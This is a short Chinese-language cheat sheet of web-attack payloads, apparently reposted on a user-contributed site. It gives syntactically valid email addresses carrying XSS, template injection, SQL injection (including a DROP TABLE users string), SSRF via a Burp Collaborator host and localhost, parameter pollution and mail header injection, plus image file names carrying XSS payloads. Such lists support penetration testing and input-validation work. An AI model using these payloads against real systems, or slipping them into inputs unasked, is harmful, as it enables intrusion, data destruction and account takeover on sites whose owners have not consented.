电子邮件地址
以下payload都是有效的电子邮件地址
XSS（跨站脚本）：
test+(<script>alert(0)</script>)@example.comtest@example(<script>alert(0)</script>).com"<script>alert(0)</script>"@example.com
模板注入：
"<%=7 * 7 %>"@example.com
test+(${{7*7}})@example.com
SQL注入
"'OR 1=1 -- '"@example.com
"mail');DROP TABLE users;--"@example.com
SSRF（服务器端请求伪造）：
john.doe@abc123.burpcollaborator.net
john.doe@[127.0.0.1]
参数污染：
victim&email=attacker@example.com
（电子邮件）标头注入：
"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
"recipient@test.com>\r\nRCPTTO:<victim+"@test.com
图片名字
<imgsrc=x onerror=alert('XSS')>.png
"><imgsrc=x onerror=alert('XSS')>.png
"><svgonmouseover=alert(1)>.svg
<<script>alert('xss')<!--a-->a.png
这可能仅在基于UNIX的系统上有效，因为Windows上不接受特殊字符作为文件名。但是，作为反射的XSS，它应该可以通用。
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)
